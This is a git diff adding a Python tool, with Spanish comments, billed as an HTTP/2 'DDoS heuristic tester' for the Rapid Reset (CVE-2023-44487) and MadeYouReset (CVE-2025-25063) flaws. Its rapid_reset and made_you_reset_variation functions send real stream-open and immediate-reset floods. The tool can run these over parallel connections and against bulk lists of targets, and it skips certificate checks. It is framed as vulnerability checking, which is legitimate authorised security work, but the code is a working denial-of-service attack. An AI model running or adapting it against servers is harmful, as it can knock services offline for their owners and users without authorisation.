diff --git a/.gitignore b/.gitignore
index dd15ec4..9e604e8 100644
--- a/.gitignore
+++ b/.gitignore
@@ -25,6 +25,7 @@ share/python-wheels/
 .installed.cfg
 *.egg
 MANIFEST
+.DS_Store
 
 # PyInstaller
 #  Usually these files are written by a python script from a template
diff --git a/CVE-2025-25063.py b/CVE-2025-25063.py
new file mode 100644
index 0000000..f7e9092
--- /dev/null
+++ b/CVE-2025-25063.py
@@ -0,0 +1,440 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+
+import argparse
+import ssl
+import socket
+import time
+from urllib.parse import urlparse
+from datetime import datetime
+import json
+import csv
+
+from h2.config import H2Configuration
+from h2.connection import H2Connection
+from h2.events import (
+    SettingsAcknowledged, ConnectionTerminated,
+    PingAckReceived, WindowUpdated, RemoteSettingsChanged
+)
+from colorama import Fore, Style, init
+init(autoreset=True)
+
+def print_banner():
+    banner = f"""
+{Fore.CYAN}{Style.BRIGHT}
+
+
+╔╦╗┌─┐┌┬┐┌─┐╦ ╦┌─┐┬ ┬╦═╗┌─┐┌─┐┌─┐┌┬┐
+║║║├─┤ ││├┤ ╚╦╝│ ││ │╠╦╝├┤ └─┐├┤  │ 
+╩ ╩┴ ┴─┴┘└─┘ ╩ └─┘└─┘╩╚═└─┘└─┘└─┘ ┴ 
+{Style.RESET_ALL}
+    """
+    print(banner)
+    print(f"{Fore.YELLOW}[ HTTP/2 DDoS Heuristic Tester | CVE-2023-44487 & CVE-2025-25063 ]{Style.RESET_ALL}\n")
+    print(f"{Fore.WHITE}[ m10sec@proton.me | m10sec 2025 ]{Style.RESET_ALL}\n")
+def check_http2_support(host, port=443, tls=True, timeout=5.0):
+    """Devuelve True si el host negocia HTTP/2 vía ALPN."""
+    try:
+        raw = socket.create_connection((host, port), timeout=timeout)
+        if tls:
+            ctx = ssl.create_default_context()
+            ctx.set_alpn_protocols(["h2", "http/1.1"])  # aceptar h2 si está disponible
+            ctx.check_hostname = False
+            ctx.verify_mode = ssl.CERT_NONE
+            s = ctx.wrap_socket(raw, server_hostname=host)
+            proto = s.selected_alpn_protocol()
+            s.close()
+            return proto == "h2"
+        else:
+            raw.close()
+            return False
+    except Exception:
+        return False
+
+
+class H2Client:
+    def __init__(self, host, port, tls=True, server_name=None, timeout=6.0):
+        self.host = host
+        self.port = port
+        self.tls = tls
+        self.server_name = server_name or host
+        self.timeout = timeout
+        self.sock = None
+        self.conn = None
+        self.metrics = {
+            "goaway": 0,
+            "goaway_codes": [],
+            "rst_sent": 0,
+            "rst_rate_per_s": 0.0,
+            "streams_opened": 0,
+            "pings": 0,
+            "ping_rtt_ms": [],
+            "remote_max_concurrent_streams": None,
+            "throttled": False,
+            "errors": []
+        }
+
+    def _wrap_tls(self, raw):
+        ctx = ssl.create_default_context()
+        ctx.set_alpn_protocols(["h2"])  # Forzar ALPN h2
+        ctx.check_hostname = False
+        ctx.verify_mode = ssl.CERT_NONE  # Cambia a CERT_REQUIRED si deseas validar
+        return ctx.wrap_socket(raw, server_hostname=self.server_name)
+
+    def connect(self):
+        raw = socket.create_connection((self.host, self.port), timeout=self.timeout)
+        self.sock = self._wrap_tls(raw) if self.tls else raw
+        self.sock.settimeout(self.timeout)
+        cfg = H2Configuration(client_side=True, header_encoding="utf-8")
+        self.conn = H2Connection(config=cfg)
+        self.conn.initiate_connection()
+        self._send(self.conn.data_to_send())
+        self._drain()
+
+    def close(self):
+        try:
+            self.sock.close()
+        except Exception:
+            pass
+
+    def _send(self, data: bytes):
+        if not data:
+            return
+        self.sock.sendall(data)
+
+    def _drain(self, dur=0.01):
+        end = time.time() + dur
+        while time.time() < end:
+            try:
+                data = self.sock.recv(65535)
+                if not data:
+                    break
+                events = self.conn.receive_data(data)
+                for ev in events:
+                    if isinstance(ev, ConnectionTerminated):
+                        self.metrics["goaway"] += 1
+                        self.metrics["goaway_codes"].append(ev.error_code)
+                        if ev.error_code in (0xb, 0x1):  # ENHANCE_YOUR_CALM / PROTOCOL_ERROR
+                            self.metrics["throttled"] = True
+                    elif isinstance(ev, RemoteSettingsChanged):
+                        mcs = ev.changed_settings.get(0x3)  # SETTINGS_MAX_CONCURRENT_STREAMS
+                        if mcs:
+                            self.metrics["remote_max_concurrent_streams"] = mcs.new_value
+                    elif isinstance(ev, PingAckReceived):
+                        try:
+                            sent_ns = int.from_bytes(ev.ping_data, "big")
+                            rtt_ms = (time.time_ns() - sent_ns) / 1e6
+                            self.metrics["ping_rtt_ms"].append(rtt_ms)
+                        except Exception:
+                            self.metrics["ping_rtt_ms"].append(-1)
+                self._send(self.conn.data_to_send())
+            except socket.timeout:
+                break
+            except Exception as e:
+                self.metrics["errors"].append(str(e))
+                break
+
+    def ping(self):
+        from hyperframe.frame import PingFrame
+        pf = PingFrame(0)
+        pf.opaque_data = int(time.time_ns()).to_bytes(8, "big")
+        self._send(pf.serialize())
+        self.metrics["pings"] += 1
+        self._drain(0.2)
+
+    def rapid_reset(self, authority, path="/", n_streams=100, header_extra=None, pace_s=0.0):
+        """CVE-2023-44487 baseline: abre streams y los resetea inmediatamente."""
+        headers_base = [
+            (":method", "GET"),
+            (":authority", authority),
+            (":scheme", "https" if self.tls else "http"),
+            (":path", path),
+            ("user-agent", "h2-check/rr")
+        ]
+        if header_extra:
+            headers_base.extend(header_extra)
+
+        start = time.time()
+        for _ in range(n_streams):
+            sid = self.conn.get_next_available_stream_id()
+            self.conn.send_headers(sid, headers_base, end_stream=True)
+            # Cierra vía state machine de hyper-h2
+            self.conn.reset_stream(sid, error_code=0x8)  # CANCEL
+            self._send(self.conn.data_to_send())
+            self.metrics["rst_sent"] += 1
+            self.metrics["streams_opened"] += 1
+            self._drain(0.0)
+            if pace_s:
+                time.sleep(pace_s)
+        dur = max(0.001, time.time() - start)
+        self.metrics["rst_rate_per_s"] = self.metrics["rst_sent"] / dur
+        self._drain(0.5)
+
+    def made_you_reset_variation(self, authority, path="/", n_streams=100, jitter_ms=2):
+        """CVE-2025-25063 heurística: HEADERS end_stream=False + pequeño jitter y RST."""
+        import random
+        headers_base = [
+            (":method", "GET"),
+            (":authority", authority),
+            (":scheme", "https" if self.tls else "http"),
+            (":path", path),
+            ("user-agent", "h2-check/myr")
+        ]
+        start = time.time()
+        for i in range(n_streams):
+            sid = self.conn.get_next_available_stream_id()
+            self.conn.send_headers(sid, headers_base, end_stream=False)
+            self._send(self.conn.data_to_send())
+            time.sleep(random.uniform(0, jitter_ms/1000.0))
+            self.conn.reset_stream(sid, error_code=0x8)
+            self._send(self.conn.data_to_send())
+            self.metrics["rst_sent"] += 1
+            self.metrics["streams_opened"] += 1
+            if i % 20 == 0:
+                self.ping()
+            self._drain(0.0)
+        dur = max(0.001, time.time() - start)
+        self.metrics["rst_rate_per_s"] = self.metrics["rst_sent"] / dur
+        self._drain(0.8)
+
+def classify(metrics):
+    go_enhance = any(code == 0xb for code in metrics["goaway_codes"])  # ENHANCE_YOUR_CALM
+    high_rate = metrics["rst_rate_per_s"] > 500
+    no_limits = (metrics["remote_max_concurrent_streams"] in (None, 0) or
+                 (metrics["remote_max_concurrent_streams"] and metrics["remote_max_concurrent_streams"] > 1000))
+    rtt_spikes = any(rtt > 200 for rtt in metrics["ping_rtt_ms"] if rtt >= 0)
+
+    if not metrics["goaway"] and no_limits and high_rate and rtt_spikes:
+        verdict = "LIKELY_VULN"
+    elif not go_enhance and (high_rate or no_limits):
+        verdict = "POSSIBLE"
+    else:
+        verdict = "UNLIKELY"
+    return verdict
+
+def scan_for_vulnerability(target_url, mode="myr", streams=200, timeout=6.0, jitter=2, pace=0.0):
+    """Devuelve un dict estilo resumen con soporte HTTP/2 y veredicto heurístico."""
+    u = urlparse(target_url)
+    tls = (u.scheme == "https")
+    port = u.port or (443 if tls else 80)
+    authority = u.netloc.split(":")[0]
+
+    http2_supported = check_http2_support(authority, port=port, tls=tls, timeout=timeout)
+
+    result = {
+        "Timestamp": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
+        "URL": target_url if u.scheme else f"https://{authority}",
+        "HTTP/2 Support": "Yes" if http2_supported else "No",
+        "Vulnerable": "UNKNOWN",
+        "Details": "No se pudo completar el análisis"
+    }
+
+    if not http2_supported:
+        result["Details"] = "El servidor no negoció HTTP/2 (ALPN)."
+        return result
+
+    c = H2Client(authority, port, tls=tls, server_name=authority, timeout=timeout)
+    try:
+        c.connect()
+        if mode in ("rapid", "both"):
+            c.rapid_reset(authority, path=u.path or "/", n_streams=streams, pace_s=pace)
+        if mode in ("myr", "both"):
+            c.made_you_reset_variation(authority, path=u.path or "/", n_streams=streams, jitter_ms=jitter)
+        verdict = classify(c.metrics)
+        mapping = {"LIKELY_VULN": "LIKELY", "POSSIBLE": "POSSIBLE", "UNLIKELY": "UNLIKELY"}
+        result["Vulnerable"] = mapping.get(verdict, verdict)
+        result["Details"] = (
+            f"streams={c.metrics['streams_opened']} rst={c.metrics['rst_sent']} "
+            f"rate={c.metrics['rst_rate_per_s']:.1f}/s goaway={c.metrics['goaway']} "
+            f"codes={c.metrics['goaway_codes']} mcs={c.metrics['remote_max_concurrent_streams']}"
+        )
+    except Exception as e:
+        result["Vulnerable"] = "UNKNOWN"
+        result["Details"] = f"Error durante prueba: {e}"
+    finally:
+        c.close()
+
+    return result
+
+
+def _normalize_target(s: str) -> str:
+    s = (s or "").strip()
+    if not s:
+        return s
+    if not s.startswith("http"):
+        s = "https://" + s
+    return s
+
+
+def interactive_menu():
+    print("\n=== HTTP/2 DDoS Heuristic Tester ===")
+    print("1) CVE-2023-44487 (Rapid Reset)")
+    print("2) CVE-2025-25063 (MadeYouReset)")
+    print("3) Ambos (comparativa)")
+    print("4) Salir")
+    choice = input("Selecciona opción [1-4]: ").strip() or "2"
+    if choice not in {"1","2","3"}:
+        print("Saliendo.")
+        return
+
+    target = _normalize_target(input("Target (https://dominio o http://ip): ").strip())
+    if not target:
+        print("No se ingresó target. Saliendo.")
+        return
+
+    try:
+        streams = int((input("Streams por conexión [200]: ") or "200").strip())
+    except Exception:
+        streams = 200
+    try:
+        jitter = int((input("Jitter ms (solo MYR) [2]: ") or "2").strip())
+    except Exception:
+        jitter = 2
+
+    mode = "rapid" if choice == "1" else ("myr" if choice == "2" else "both")
+    summary = scan_for_vulnerability(target, mode=mode, streams=streams, jitter=jitter)
+    print(json.dumps(summary, ensure_ascii=False, indent=2))
+
+def bulk_scan_from_txt(path, mode="myr", streams=200, timeout=6.0, jitter=2, pace=0.0,
+                        out_json=None, out_csv=None, line_by_line=True):
+    """Lee un archivo TXT con un target por línea y escanea cada uno.
+    - Imprime 1 línea por resultado (NDJSON) para no saturar la salida.
+    - Si se especifica out_json, guarda un array JSON con todos los resultados.
+    - Si se especifica out_csv, guarda CSV con columnas fijas.
+    """
+    results = []
+    try:
+        with open(path, "r", encoding="utf-8") as f:
+            lines = [ln.strip() for ln in f if ln.strip() and not ln.strip().startswith("#")]
+    except Exception as e:
+        print(f"[!] No pude leer '{path}': {e}")
+        return
+
+    for target in lines:
+        target_url = _normalize_target(target)
+        try:
+            res = scan_for_vulnerability(target_url, mode=mode, streams=streams,
+                                         timeout=timeout, jitter=jitter, pace=pace)
+        except Exception as e:
+            res = {
+                "Timestamp": datetime.now().strftime("%Y-%m-%d %H:%M:%S"),
+                "URL": target_url,
+                "HTTP/2 Support": "UNKNOWN",
+                "Vulnerable": "UNKNOWN",
+                "Details": f"Error general: {e}"
+            }
+        results.append(res)
+        if line_by_line:
+            print(json.dumps(res, ensure_ascii=False))
+
+    if out_json:
+        try:
+            with open(out_json, "w", encoding="utf-8") as jf:
+                json.dump(results, jf, ensure_ascii=False, indent=2)
+            print(f"[+] Guardado JSON en {out_json}")
+        except Exception as e:
+            print(f"[!] No pude guardar JSON en {out_json}: {e}")
+
+    if out_csv:
+        try:
+            with open(out_csv, "w", encoding="utf-8", newline="") as cf:
+                writer = csv.DictWriter(cf, fieldnames=["Timestamp","URL","HTTP/2 Support","Vulnerable","Details"])
+                writer.writeheader()
+                for r in results:
+                    writer.writerow(r)
+            print(f"[+] Guardado CSV en {out_csv}")
+        except Exception as e:
+            print(f"[!] No pude guardar CSV en {out_csv}: {e}")
+
+
+# -----------------------------
+# Punto de entrada
+# -----------------------------
+
+
+def main():
+    print_banner()
+   
+
+    
+    ap = argparse.ArgumentParser(description="HTTP/2 MadeYouReset heuristic checker")
+    ap.add_argument("target", nargs="?", help="URL objetivo, p.ej. https://example.com (opcional si usas --menu o --targets-file)")
+    ap.add_argument("--path", default="/", help="Ruta a solicitar")
+    ap.add_argument("--mode", choices=["rapid", "myr", "both"], default="myr",
+                    help="Prueba: rapid (CVE-2023-44487), myr (CVE-2025-25063), both")
+    ap.add_argument("--conns", type=int, default=1, help="Conexiones paralelas")
+    ap.add_argument("--streams", type=int, default=200, help="Streams por conexión")
+    ap.add_argument("--timeout", type=float, default=6.0, help="Timeout socket")
+    ap.add_argument("--pace", type=float, default=0.0, help="Pausa entre streams (rapid)")
+    ap.add_argument("--jitter", type=int, default=2, help="Jitter ms (myr)")
+    ap.add_argument("--json", action="store_true", help="Salida JSON resumida (scan_for_vulnerability)")
+    ap.add_argument("--menu", action="store_true", help="Abrir menú interactivo")
+    ap.add_argument("--targets-file", help="Ruta a TXT con un target por línea (modo bulk)")
+    ap.add_argument("--out-json", help="Guardar resultados bulk en archivo JSON")
+    ap.add_argument("--out-csv", help="Guardar resultados bulk en archivo CSV")
+    args = ap.parse_args()
+
+    # Agrego Bulk
+    if args.targets_file:
+        bulk_scan_from_txt(
+            args.targets_file,
+            mode=args.mode,
+            streams=args.streams,
+            timeout=args.timeout,
+            jitter=args.jitter,
+            pace=args.pace,
+            out_json=args.out_json,
+            out_csv=args.out_csv,
+            line_by_line=True,
+        )
+        return
+
+    # se activa el menu
+    if args.menu or not args.target:
+        interactive_menu()
+        return
+
+    u = urlparse(args.target)
+    tls = (u.scheme == "https")
+    port = u.port or (443 if tls else 80)
+    authority = u.netloc.split(":")[0]
+
+    if args.json:
+        summary = scan_for_vulnerability(
+            args.target,
+            mode=args.mode,
+            streams=args.streams,
+            timeout=args.timeout,
+            jitter=args.jitter,
+            pace=args.pace
+        )
+        print(json.dumps(summary, ensure_ascii=False, indent=2))
+        return
+
+    clients = []
+    for _ in range(args.conns):
+        c = H2Client(authority, port, tls=tls, server_name=authority, timeout=args.timeout)
+        c.connect()
+        clients.append(c)
+
+    try:
+        for c in clients:
+            if args.mode in ("rapid", "both"):
+                c.rapid_reset(authority, path=args.path, n_streams=args.streams, pace_s=args.pace)
+            if args.mode in ("myr", "both"):
+                c.made_you_reset_variation(authority, path=args.path, n_streams=args.streams, jitter_ms=args.jitter)
+
+        print("\n=== Resultados ===")
+        for i, c in enumerate(clients, 1):
+            v = classify(c.metrics)
+            print(f"[Conn {i}] verdict={v} streams={c.metrics['streams_opened']} rst={c.metrics['rst_sent']} "
+                  f"rate={c.metrics['rst_rate_per_s']:.1f}/s goaway={c.metrics['goaway']} "
+                  f"codes={c.metrics['goaway_codes']} mcs={c.metrics['remote_max_concurrent_streams']} "
+                  f"rtt_ms={','.join(f'{x:.0f}' if x>=0 else '-' for x in c.metrics['ping_rtt_ms'])}")
+    finally:
+        for c in clients:
+            c.close()
+
+
+if __name__ == "__main__":
+    main()
diff --git a/requirements.txt b/requirements.txt
new file mode 100644
index 0000000..a87eb83
--- /dev/null
+++ b/requirements.txt
@@ -0,0 +1,5 @@
+# requirements.txt
+h2>=4.1.0
+hyperframe>=6.0.1
+hpack>=4.0.0
+colorama>=0.4.6
\ No newline at end of file